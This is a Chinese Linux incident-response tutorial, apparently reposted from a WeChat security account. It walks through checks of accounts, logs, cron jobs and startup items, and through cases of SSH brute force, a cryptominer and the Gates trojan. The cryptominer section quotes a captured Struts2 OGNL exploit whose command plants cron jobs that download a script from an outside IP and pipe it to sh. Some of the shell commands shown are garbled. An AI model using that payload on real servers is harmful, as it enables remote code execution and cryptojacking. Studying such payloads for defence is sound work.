歡迎光臨
每天分享高質量文章

Linux 應急響應流程及實戰演練

來自:信安之路(微信號:xazlsec)

作者:bypass(信安之路作者團隊成員 & 個人公眾號 bypass

當企業發生黑客入侵、系統崩潰或其它影響業務正常運行的安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,進一步查找入侵來源,還原入侵事故過程,同時給出解決方案與防範措施,為企業輓回或減少經濟損失。  

針對常見的攻擊事件,結合工作中應急響應事件分析和解決的方法,總結了一些 Linux 服務器入侵排查的思路。

0x01 入侵排查思路

一、賬號安全

基本使用:

1、用戶信息檔案 /etc/passwd

root:x:0:0:root:/root:/bin/bash

account:password:UID:GID:GECOS:directory:shell

用戶名:密碼:用戶ID:組ID:用戶說明:家目錄:登陸之後shell

註意:無密碼只允許本機登陸,遠程不允許登陸

2、影子檔案 /etc/shadow

root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

用戶名:加密密碼:密碼最後一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之後的寬限天數:賬號失效時間:保留

3、幾個常用命令:

who     查看當前登錄用戶(tty 本地登陸  pts 遠程登錄)

w       查看系統信息,想知道某一時刻用戶的行為

uptime  查看登陸多久、多少用戶,負載

入侵排查:

1、查詢特權用戶特權用戶(uid 為 0)

[[email protected] ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd

2、查詢可以遠程登錄的帳號信息

[[email protected] ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow

3、除 root 帳號外,其他帳號是否存在 sudo 權限。如非管理需要,普通帳號應刪除 sudo 權限

[[email protected] ~]# more /etc/sudoers | grep -v “^#|^$” | grep “ALL=(ALL)”

4、禁用或刪除多餘及可疑的帳號

usermod -L user    禁用帳號,帳號無法登錄,/etc/shadow 第二欄為 ! 開頭

userdel user       刪除 user 用戶

userdel -r user    將刪除user用戶,並且將/home目錄下的user目錄一併刪除

二、歷史命令

基本使用:

通過 .bash_history 查看帳號執行過的系統命令

1、root 的歷史命令

histroy

2、打開 /home 各帳號目錄下的 .bash_history,查看普通帳號的歷史命令

為歷史的命令增加登錄的IP地址、執行命令時間等信息:

1)儲存 1 萬條命令

sed -i ‘s/^HISTSIZE=1000/HISTSIZE=10000/g’ /etc/profile

2)在 /etc/profile 的檔案尾部添加如下行數配置信息:

######jiagu history xianshi#########

USER_IP=who-uam i 2>/dev/null | awk'{print $NF}'sed-e's/[()]//g'

if"$USER_IP"=""]

then

USER_IP=hostname

fi

exportHISTTIMEFORMAT="%F %T $USER_IPwhoami "

shopt-shistappend

exportPROMPT_COMMAND="history -a"

######### jiagu history xianshi ##########

3)source /etc/profile 讓配置生效

生成效果:

1  2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

3、歷史操作命令的清除:history -c

但此命令並不會清除儲存在檔案中的記錄,因此需要手動刪除 .bash_profile 檔案中的記錄。

入侵排查:

進入用戶目錄下:

cat .bash_history >> history.txt

三、端口

使用 netstat 網絡連接命令,分析可疑端口、IP、PID

netstat -antlp|more

查看下pid所對應的行程檔案路徑,

運行 ls -l /proc/$PID/exefile /proc/$PID/exe($PID 為對應的 pid 號)

四、行程

使用 ps 命令,分析行程

ps aux | grep pid

五、開機啟動項

基本使用:

系統運行級別示意圖:

查看運行級別命令

runlevel  

系統預設允許級別

vi  /etc/inittab

id=3:initdefault  系統開機後直接進入哪個運行級別

開機啟動配置檔案

/etc/rc.local

/etc/rc.d/rc[0~6].d

例子:當我們需要開機啟動自己的腳本時,只需要將可執行腳本丟在 /etc/init.d 目錄下,然後在 /etc/rc.d/rc*.d 中建立軟鏈接即可

[email protected] ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此處 sshd 是具體服務的腳本檔案,S100ssh 是其軟鏈接,S 開頭代表加載時自啟動;如果是 K 開頭的腳本檔案,代表運行級別加載時需要關閉的。

入侵排查:

啟動項檔案:

more /etc/rc.local

/etc/rc.d/rc[0~6].d

ls -l /etc/rc.d/rc3.d/

六、定時任務

基本使用

1、利用 crontab 創建計劃任務

crontab -l   列出某個用戶 cron 服務的詳細內容

Tips:預設編寫的 crontab 檔案會儲存在 ( /var/spool/cron/用戶名 例如: /var/spool/cron/root

crontab -r   刪除每個用戶 cront 任務(謹慎:刪除所有的計劃任務)

crontab -e   使用編輯器編輯當前的 crontab 檔案

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分鐘寫入檔案

2、利用 anacron 實現異步定時任務調度

每天運行 /home/backup.sh 腳本:

vi /etc/anacrontab

@daily    10    example.daily   /bin/bash /home/backup.sh

當機器在 backup.sh 期望被運行時是關機的,anacron 會在機器開機十分鐘之後運行它,而不用再等待 7 天。

入侵排查

重點關註以下目錄中是否存在惡意腳本

/var/spool/cron/*

/etc/crontab

/etc/cron.d/*

/etc/cron.daily/*

/etc/cron.hourly/*

/etc/cron.monthly/*

/etc/cron.weekly/

/etc/anacrontab

/var/spool/anacron/*

小技巧:

more /etc/cron.daily/*  查看目錄下所有檔案

七、服務

服務自啟動

第一種修改方法:

chkconfig [–level 運行級別][獨立服務名][on|off]

chkconfig –level  2345 httpd on  開啟自啟動

chkconfig httpd on (預設 level 是 2345)

第二種修改方法:

修改 /etc/re.d/rc.local 檔案  

加入 /etc/init.d/httpd start

第三種修改方法:

使用 ntsysv 命令管理自啟動,可以管理獨立服務和 xinetd 服務。

入侵排查

1、查詢已安裝的服務:

RPM 包安裝的服務:

chkconfig  --list  查看服務自啟動狀態,可以看到所有的RPM包安裝的服務

ps aux | grep crond 查看當前服務

系統在 3 與 5 級別下的啟動項

中文環境

chkconfig –list | grep “3:啟用|5:啟用”

英文環境

chkconfig –list | grep “3:on|5:on”

原始碼包安裝的服務

查看服務安裝位置 ,一般是在 /user/local/

service httpd start

搜索 /etc/rc.d/init.d/  查看是否存在

八、系統日誌

日誌預設存放位置:/var/log/

查看日誌配置情況:more /etc/rsyslog.conf

日誌分析技巧:

1、定位有多少IP在爆破主機的 root 帳號:

grep “Failed password for root” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

定位有哪些 IP 在爆破:

grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c

爆破用戶名字典是什麼?

grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1
“;}’|uniq -c|sort -nr

2、登錄成功的 IP 有哪些:

grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

登錄成功的日期、用戶名、IP:

grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’

3、增加一個用戶 kali 日誌:

Jul1000:12:15localhostuseradd[2382]newgroupname=kaliGID=1001
Jul1000:12:15localhostuseradd[2382]newusername=kaliUID=1001GID=1001home=/home/kali
shell=/bin/bash
Jul1000:12:58localhostpasswdpam_unix(passwd:chauthtok)passwordchangedforkali
#grep"useradd"/var/log/secure

4、刪除用戶kali日誌:

Jul1000:14:17localhostuserdel[2393]deleteuser'kali'
Jul1000:14:17localhostuserdel[2393]removedgroup'kaliownedby'kali'
Jul1000:14:17localhostuserdel[2393]removedshadowgroup'kaliownedby'kali'
#grep"userdel"/var/log/secure

5、su 切換用戶:

Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo 授權執行:

sudo -lJul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

0x02 工具篇

一、Rootkit 查殺

chkrootkit :

http://www.chkrootkit.org

使用方法:

wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cdchkrootkit-0.52
makesense
#編譯完成沒有報錯的話執行檢查
./chkrootkit
rkhunter

http://rkhunter.sourceforge.net

使用方法:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvfrkhunter-1.4.4.tar.gz
cdrkhunter-1.4.4
./installer.sh --install
rkhunter -c

二、病毒查殺

Clamav

ClamAV 的官方下載地址為:

http://www.clamav.net/download.html

安裝方式一:

1、安裝 zlib:

wgethttp://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz 
tar -zxvfzlib-1.2.7.tar.gz
cdzlib-1.2.7
#安裝一下gcc編譯環境: yum install gcc
CFLAGS="-O3 -fPIC"./configure --prefix=/usr/local/zlib/
make&& makeinstall

2、添加用戶組 clamav 和組成員 clamav:

groupadd clamav
useradd -gclamav -s/bin/false -c"Clam AntiVirus"clamav

3、安裝 Clamav

tar –zxvf clamav-0.97.6.tar.gz
cdclamav-0.97.6
./configure --prefix=/opt/clamav --disable-clamav-with-zlib=/usr/local/zlib
make
makeinstall

4、配置 Clamav

mkdir/opt/clamav/logs
mkdir/opt/clamav/updata
touch/opt/clamav/logs/freshclam.log
touch/opt/clamav/logs/clamd.log
cd/opt/clamav/logs
chownclamav:clamav clamd.log
chownclamav:clamav freshclam.log

5、ClamAV 使用:

/opt/clamav/bin/freshclam 升級病毒庫

./clamscan –h 查看相應的幫助信息

./clamscan -r /home  掃描所有用戶的主目錄就使用

./clamscan -r --bell -i /bin  掃描 bin 目錄並且顯示有問題的檔案的掃描結果

安裝方式二:

#安裝
yum install -yclamav

#更新病毒庫
freshclam

#掃描方法
clamscan -r/etc --max-dir-recursion=5-l/root/etcclamav.log
clamscan -r/bin --max-dir-recursion=5-l/root/binclamav.log
clamscan -r/usr --max-dir-recursion=5-l/root/usrclamav.log

#掃描並殺毒
clamscan -r --remove/usr/bin/bsd-port
clamscan -r --remove/usr/bin/
clamscan -r--remove/usr/local/zabbix/sbin

#查看日誌發現
cat/root/usrclamav.log |grep FOUND

三、webshell 查殺

linux 版:

河馬 webshell 查殺:

http://www.shellpub.com

深信服 Webshell 網站後門檢測工具:

http://edr.sangfor.com.cn/backdoor_detection.html

四、RPM check 檢查

系統完整性可以通過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟體包,查看哪些命令是否被替換了:

./rpm -Va > rpm.log

如果一切均校驗正常將不會產生任何輸出,如果有不一致的地方,就會顯示出來,輸出格式是 8 位長字串,每個字符都用以表示檔案與 RPM 資料庫中一種屬性的比較結果 ,如果是. (點) 則表示測試通過。

驗證內容中的 8 個信息的具體內容如下:

S檔案大小是否改變

M檔案的型別或檔案的權限(rwx)是否被改變

5檔案 MD5 校驗是否改變(可以看成檔案內容是否改變)

D設備中,從代碼是否改變

L檔案路徑是否改變

U檔案的屬主(所有者)是否改變

G檔案的屬組是否改變

T檔案的修改時間是否改變

如果命令被替換了,如果還原回來:

檔案提取還原案例:

rpm  -qf /bin/ls  查詢ls命令屬於哪個軟體包

mv  /bin/ls /tmp  先把 ls 轉移到 tmp 目錄下,造成 ls 命令丟失的假象

rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到當前目錄的 /bin/ls

cp /root/bin/ls  /bin/ 把 ls 命令複製到 /bin/ 目錄 修複檔案丟失

0x03 應急響應實戰之 SSH 暴力破解

SSH 是目前較可靠,專為遠程登錄會話和其他網絡服務提供安全性的協議,主要用於給遠程登錄會話資料進行加密,保證資料傳輸的安全。SSH 口令長度太短或者複雜度不夠,如僅包含數字,或僅包含字母等,容易被攻擊者破解,一旦被攻擊者獲取,可用來直接登錄系統,控制服務器所有權限。

應急場景

某天,網站管理員登錄服務器進行巡檢時,發現端口連接里存在兩條可疑的連接記錄,如下圖:

1、TCP 初始化連接三次握手吧:發 SYN 包,然後傳回 SYN/ACK 包,再發 ACK 包,連接正式建立。但是這裡有點出入,當請求者收到 SYS/ACK 包後,就開始建立連接了,而被請求者第三次握手結束後才建立連接。

2、客戶端 TCP 狀態遷移:

CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED

服務器 TCP 狀態遷移:

CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED

3、當客戶端開始連接時,服務器還處於 LISTENING,客戶端發一個 SYN 包後,服務端接收到了客戶端的 SYN 並且發送了 ACK 時,服務器處於 SYN_RECV 狀態,然後並沒有再次收到客戶端的 ACK 進入 ESTABLISHED 狀態,一直停留在 SYN_RECV 狀態。

在這裡,SSH(22)端口,兩條外網 IP 的 SYN_RECV 狀態連接,直覺告訴了管理員,這裡一定有什麼異常。

日誌分析

SSH 端口異常,我們首先有必要先來瞭解一下系統賬號情況:

A、系統賬號情況

1、除 root 之外,是否還有其它特權用戶 (uid  為 0)

[[email protected] ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd

root

2、可以遠程登錄的帳號信息

[[email protected] ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow

root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8jFuXOfEYIKLID6hq0::0:99999:7:::

我們可以確認目前系統只有一個管理用戶 root。

接下來,我們想到的是 /var/log/secure,這個日誌檔案記錄了驗證和授權方面的信息,只要涉及賬號和密碼的程式都會記錄下來。

B、確認攻擊情況:

1、統計了下日誌,發現大約有 126254 次登錄失敗的記錄,確認服務器遭受暴力破解

[[email protected] ~]# grep -o “Failed password” /var/log/secure|uniq -c

    126254 Failed password

2、輸出登錄爆破的第一行和最後一行,確認爆破時間範圍:

[[email protected] ~]# grep “Failed password” /var/log/secure|head -1

Jul  8 20:14:59 localhost sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx port 1503 ssh2

[[email protected] ~]# grep “Failed password” /var/log/secure|tail -1

Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2

3、進一步定位有哪些 IP 在爆破?

[[email protected] ~]# grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c | sort -nr

   12622 23.91.xxx.xxx     8942 114.104.xxx.xxx     8122 111.13.xxx.xxx     7525 123.59.xxx.xxx     ……………….

4、爆破用戶名字典都有哪些?

[[email protected] ~]# grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1
“;}’|uniq -c|sort -nr

     9402  root      3265  invalid user oracle      1245  invalid user admin      1025  invalid user user      …………………

C、管理員最近登錄情況:

1、登錄成功的日期、用戶名、IP:

[[email protected] ~]# grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’

Jul 9 09:38:09 root 192.168.143.100Jul 9 14:55:51 root 192.168.143.100Jul 10 08:54:26 root 192.168.143.100Jul 10 16:25:59 root 192.168.143.100……………………….

通過登錄日誌分析,並未發現異常登錄時間和登錄IP。

2、順便統計一下登錄成功的 IP 有哪些:

[[email protected] ~]# grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

    27 192.168.204.1

通過日誌分析,發現攻擊者使用了大量的用戶名進行暴力破解,但從近段時間的系統管理員登錄記錄來看,並未發現異常登錄的情況,需要進一步對網站服務器進行入侵排查,這裡就不再闡述。

處理措施

SSH暴力破解依然十分普遍,如何保護服務器不受暴力破解攻擊,總結了幾種措施:

1、禁止向公網開放管理端口,若必須開放應限定管理 IP 地址並加強口令安全審計(口令長度不低於 8 位,由數字、大小寫字母、特殊字符等至少兩種以上組合構成)。

2、更改服務器 ssh 預設端口。

3、部署入侵檢測設備,增強安全防護。

0x04 應急響應實戰之短連接

短連接(short connnection)是相對於長連接而言的概念,指的是在資料傳送過程中,只在需要發送資料時,才去建立一個連接,資料發送完成後,則斷開此連接,即每次連接只完成一項業務的發送。 在系統維護中,一般很難去察覺,需要借助網絡安全設備或者抓包分析,才能夠去發現。

應急場景

某天,網絡管理員在出口 WAF 檢測到某台服務器不斷向香港I發起請求 ,感覺很奇怪,登錄服務器排查,想要找到發起短連接的行程。

日誌分析

登錄服務器查看端口、行程,並未發現發現服務器異常,但是當多次掃清端口連接時,可以查看該連接。 有時候一直刷這條命令好十幾次才會出現,像這種的短連接極難捕捉到對應的行程和源檔案。

手動捕捉估計沒戲,很難追蹤,於是動手寫了一段小腳本來捕捉短連接對應的pid和源檔案。

腳本檔案如下:

#!/bin/bash

ip=118.184.15.40

i=1

while:

do

  tmp=netstat -anplt|grep $ip|awk -F'[/]''{print $1}'|awk '{print $7}'

  #echo $tmp

  iftest -z"$tmp"

  then

      ((i=i+1)) 

  else

      forpid in$tmpdo
   
          echo"PID: "${pid}
   
         result=`ls -lh /proc/$pid|grep exe`
   
         echo"Process: "${result}
   
         kill-9$pid
   
      done
   
      break

  fi

done

echo"Total number of times: "${i}

運行結果如下:

跑了三次腳本,可以發現短連接每次發起的行程 Pid 一直在變,但已經捕捉到發起該異常連接的行程源檔案為 /usr/lib/nfsiod

小結

本文簡單介紹了短連接以及捕捉短連接源檔案的技巧,站在安全管理員的角度,應加強對網絡安全設備的管理,在網絡層去發現更多在系統層很難察覺的安全威脅。

0x05 應急響應實戰之挖礦病毒

隨著虛擬貨幣的瘋狂炒作,利用挖礦腳本來實現流量變現,使得挖礦病毒成為不法分子利用最為頻繁的攻擊方式。新的挖礦攻擊展現出了類似蠕蟲的行為,並結合了高級攻擊技術,以增加對標的服務器感染的成功率,通過利用永恆之藍(EternalBlue)、web 攻擊多種漏洞(如 Tomcat 弱口令攻擊、Weblogic WLS 組件漏洞、Jboss 反序列化漏洞、Struts2 遠程命令執行等),導致大量服務器被感染挖礦程式的現象 。

應急場景

某天,安全管理員在登錄安全設備巡檢時,發現某台網站服務器持續向境外IP發起連接,下載病毒源:

事件分析

A、排查過程

登錄服務器,查看系統行程狀態,發現不規則命名的異常行程、異常下載行程 :

下載 logo.jpg,包含腳本內容如下:

到這裡,我們可以發現攻擊者下載 logo.jpg 並執行了裡面了 shell 腳本,那這個腳本是如何啟動的呢?

通過排查系統開機啟動項、定時任務、服務等,在定時任務裡面,發現了惡意腳本,每隔一段時間發起請求下載病毒源,並執行 。

B、溯源分析

在 Tomcat log 日誌中,我們找到這樣一條記錄:

對日誌中攻擊原始碼進行摘錄如下:

{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

可以發現攻擊代碼中的操作與定時任務中異常腳本一致,據此推斷黑客通過 Struct 遠程命令執行漏洞向服務器定時任務中寫入惡意腳本並執行。

C、清除病毒

1、刪除定時任務:

2、終止異常行程:

D、漏洞修複

升級 struts 到最新版本

防範措施

針對服務器被感染挖礦程式的現象,總結了幾種預防措施:

1、安裝安全軟體並升級病毒庫,定期全盤掃描,保持實時防護

2、及時更新 Windows 安全補丁,開啟防火牆臨時關閉端口

3、及時更新 web漏洞補丁,升級web組件

0x06 應急響應實戰之蓋茨木馬

Linux 蓋茨木馬是一類有著豐富歷史,隱藏手法巧妙,網絡攻擊行為顯著的 DDoS 木馬,主要惡意特點是具備了後門程式,DDoS 攻擊的能力,並且會替換常用的系統檔案進行偽裝。木馬得名於其在變數函式的命名中,大量使用 Gates 這個單詞。分析和清除蓋茨木馬的過程,可以發現有很多值得去學習和借鑒的地方。

應急場景

某天,網站管理員發現服務器 CPU 資源異常,幾個異常行程占用大量網絡帶寬:

事件分析

異常 IP連接:

異常行程:

查看進行發現 ps aux 行程異常,進入該目錄發現多個命令,猜測命令可能已被替換

登錄服務器,查看系統行程狀態,發現不規則命名的異常行程、異常下載行程 :

異常啟動項

進入rc3.d目錄可以發現多個異常進行:

/etc/rc.d/rc3.d/S97DbSecuritySpt

/etc/rc.d/rc3.d/S99selinux

搜索病毒原體

find / -size -1223124c -size +1223122c -exec ls -id {} ;   搜索 1223123 大小的檔案

從以上種種行為發現該病毒與“蓋茨木馬”有點類似,具體技術分析細節詳見:

Linux平臺“蓋茨木馬”分析

http://www.freebuf.com/articles/system/117823.html

懸鏡服務器衛士丨Linux平臺“蓋茨木馬”分析

http://www.sohu.com/a/117926079_515168

手動清除木馬過程:

1、簡單判斷有無木馬

#有無下列檔案

cat/etc/rc.d/init.d/selinux

cat/etc/rc.d/init.d/DbSecuritySpt

ls/usr/bin/bsd-port

ls/usr/bin/dpkgd

#查看大小是否正常

ls-lh/bin/netstat

ls-lh/bin/ps

ls-lh/usr/sbin/lsof

ls-lh/usr/sbin/ss

2、上傳如下命令到 /root 下

ps netstat ss lsof

3、刪除如下目錄及檔案

rm-rf/usr/bin/dpkgd (ps netstat lsof ss)

rm-rf/usr/bin/bsd-port     #木馬程式

rm-f/usr/bin/.sshd         #木馬後門

rm-f/tmp/gates.lod

rm-f/tmp/moni.lod

rm-f/etc/rc.d/init.d/DbSecuritySpt(啟動上述描述的那些木馬變種程式)

rm-f/etc/rc.d/rc1.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc2.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc3.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc4.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc5.d/S97DbSecuritySpt

rm-f/etc/rc.d/init.d/selinux(預設是啟動/usr/bin/bsd-port/getty)

rm-f/etc/rc.d/rc1.d/S99selinux

rm-f/etc/rc.d/rc2.d/S99selinux

rm-f/etc/rc.d/rc3.d/S99selinux

rm-f/etc/rc.d/rc4.d/S99selinux

rm-f/etc/rc.d/rc5.d/S99selinux

4、找出異常程式並殺死

5、刪除含木馬命令並重新安裝

命令替換

RPM check 檢查:

系統完整性也可以通過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟體包,有哪些被篡改了,防止 rpm 也被替換,上傳一個安全乾凈穩定版本 rpm 二進制到服務器上進行檢查

./rpm -Va > rpm.log

如果一切均校驗正常將不會產生任何輸出。如果有不一致的地方,就會顯示出來。輸出格式是8位長字串, c 用以指配置檔案, 接著是檔案名. 8 位字符的每一個 用以表示檔案與 RPM 資料庫中一種屬性的比較結果 。. (點) 表示測試通過。.下麵的字符表示對 RPM 軟體包進行的某種測試失敗:

命令替換:

rpm2cpio 包全名 |  cpio -idv .檔案絕對路徑   rpm 包中檔案提取

Rpm2cpio  將 rpm 包轉換為 cpio 格式的命令

Cpio 是一個標準工具,它用於創建軟體檔案檔案和從檔案檔案中提取檔案

Cpio 選項 < [檔案|設備]

-i:copy-in 樣式,還原-d:還原時自動新建目錄-v:顯示還原過程

檔案提取還原案例:

查詢ls命令屬於哪個軟體包

rpm  -qf /bin/ls  

mv  /bin/ls /tmp  

提取rpm包中ls命令到當前目錄的 /bin/ls 下:

rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls

把 ls 命令複製到 /bin/ 目錄 修複檔案丟失:

cp /root/bin/ls  /bin/

掛載命令 rpm 包:

mkdir  /mnt/chrom/  建立掛載點

mount -t iso9660 /dev/cdrom  /mnt/cdrom/  掛在光盤

mount/dev/sr0 /mnt/cdrom/

卸載命令

umount  設備檔案名或掛載點

umount /mnt/cdrom/

參考鏈接:

https://www.zhihu.com/question/33964391

http://www.freebuf.com/articles/system/11424.html

https://help.aliyun.com/knowledge_detail/37479.html?spm=a2c4g.11186623.4.1.W0eomj

https://cloud.tencent.com/document/product/296/9604


編號733,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

Linux學習

更多推薦25個技術類微信公眾號

涵蓋:程式人生、演算法與資料結構、黑客技術與網絡安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。

赞(0)

分享創造快樂